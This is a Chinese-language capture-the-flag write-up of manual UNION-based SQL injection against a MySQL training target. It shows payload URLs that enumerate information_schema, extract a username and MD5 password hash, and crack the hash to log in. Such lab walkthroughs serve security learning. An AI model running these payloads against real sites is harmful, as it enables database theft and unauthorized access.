SQL手工注入漏洞测试(MySQL数据库)解题思路小记

靶环境:Nginx+PHP+MySQL(题目源自墨者学院)
解题目标:
手工进行SQL注入测试,获取管理密码登录。

解题思路:
①寻找sql注入点:
SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第1张图片尝试从登陆表单注入:
SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第2张图片
结果:
SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第3张图片
后台存在密码账号验证,无法通过此处进行注入。

通过url进行注入:
SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第4张图片发现注入点,开始进行sql注入。
②注入sql

  1. 查询表的字段列数:
    利用order by 函数对表的字段列数进行尝试,对于列数较多的表,建议使用二分法
    SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第5张图片SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第6张图片可知该表有4个字段
  2. 判断显示位
    使用UNION,作用是将两个select语句合并使用。
    SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第7张图片将第一个select的查询条件id设为-1,则第一个查询的结果会为空集,那么union后的select语句的结果就会成为第一个
    由上图可知,回显位为2,3
  3. 获取所有数据库名
    显示当前数据库: database()
    SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第8张图片可知数据库名为:mozhe_Discuz_StormGroup
  4. 获取表名
    url?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’ limit 0,1

SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第9张图片表名:StormGroup_member

  1. 获取字段名

url?id=-1union select 1,column_name,3,4 from information_schema.columns where table_name=‘StormGroup_member’ limit 3,1
SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第10张图片改变limit,得到字段名id,name,password,status

  1. 获取列中的信息
    url?id=-1 union select 1,name,3,4 from StormGroup_member limit 0,1
    SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第11张图片得到用户名:mozhe
    url?id=-1 union select 1,password,3,4 from StormGroup_member limit 0,1
    SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第12张图片得到MD5加密后的密码:356f589a7df439f6f744ff19bb8092c0

通过解密:dsan13
但由于网站原因该密码无法使用,继续爆破密码
SQL手工注入漏洞测试(MySQL数据库)解题思路小记_第13张图片以上解密后得:136582
登录成功获取key。

你可能感兴趣的:(web安全)